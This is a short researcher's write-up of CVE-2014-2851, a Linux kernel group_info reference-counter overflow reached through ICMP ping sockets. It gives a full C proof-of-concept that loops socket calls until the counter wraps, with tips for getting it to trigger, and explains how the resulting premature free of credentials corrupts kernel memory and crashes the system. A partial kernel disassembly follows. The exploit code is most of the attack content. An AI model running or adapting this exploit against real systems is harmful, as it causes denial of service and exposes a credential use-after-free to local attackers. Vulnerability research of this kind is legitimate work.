Linux group_info refcounter overflow memory corruption (CVE-2014-2851)

This post on LKML got me curious and I decided to trigger the overflow to see what it got me.

1. #include <arpa/inet.h>
2. #include <stdio.h>
3. #include <sys/socket.h>
5. int main(int argc, char *argv[]) {
6.     int i ;
7.     struct sockaddr_in saddr;
8.     unsigned count = -8 ;
10.     if(argc >= 2){
11.         // Specify count
12.         count = atoi(argv[1]);
13.     }
15.     printf("count %i\n",count);
17.     for(i = 0 ; i < count;i++ ){
18.         socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
19.         if ( i % ( 1 << 22 ) == 0 )
20.             printf("%i \n",i);
21.     }
23.     //Now make it wrap and crash:
24.     system("/bin/echo bye bye");
25. }

If the code doens't work, try different values for count ( argv[1] ), for example -20 . When the exploit finishes, run some nested shells to increment the group_info usage counter : every subprocess will increment the usage counter .

It takes a while because 2^32 syscalls have to be executed, but eventually the refcounter overflows.
When the refcounter is close to be overflown, the code executes another process. When this process finishes, atomic_dec_and_test returns true and the creds are freed while still referenced. This results in corruption of the cred_jar slab cache which leads to a system crash.

The actual overflows happens in cred.h :

atomic_inc(&gi->usage);

The disassembly of  ping_init_sock shows the overflow:

Dump of assembler code for function ping_init_sock:
   0xffffffff8164b960 <+0>:     push   %rbp
   0xffffffff8164b961 <+1>:     mov    %rsp,%rbp
   0xffffffff8164b964 <+4>:     push   %r12
   0xffffffff8164b966 <+6>:     push   %rbx
   0xffffffff8164b967 <+7>:     data32 data32 data32 xchg %ax,%ax
   0xffffffff8164b96c <+12>:    mov    %gs:0xb880,%rax
   0xffffffff8164b975 <+21>:    mov    0x480(%rax),%rax
   0xffffffff8164b97c <+28>:    mov    0x30(%rdi),%rdx
   0xffffffff8164b980 <+32>:    mov    0x18(%rax),%edi
   0xffffffff8164b983 <+35>:    mov    0x88(%rax),%rax
=> 0xffffffff8164b98a <+42>:    incl   %ds:(%rax)
   0xffffffff8164b98d <+45>:    mov    0x4(%rax),%r10d
   0xffffffff8164b991 <+49>:    lea    0x390(%rdx),%r9